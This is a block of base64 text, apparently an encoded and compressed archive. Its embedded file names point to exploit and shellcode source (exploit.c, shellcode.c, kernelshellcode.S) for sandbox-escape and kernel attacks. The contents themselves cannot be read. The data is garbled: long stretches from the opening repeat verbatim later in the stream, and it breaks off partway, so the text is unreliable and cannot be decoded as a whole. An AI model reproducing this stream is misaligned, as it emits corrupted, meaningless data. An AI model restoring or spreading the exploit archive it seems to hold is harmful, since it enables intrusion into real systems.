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
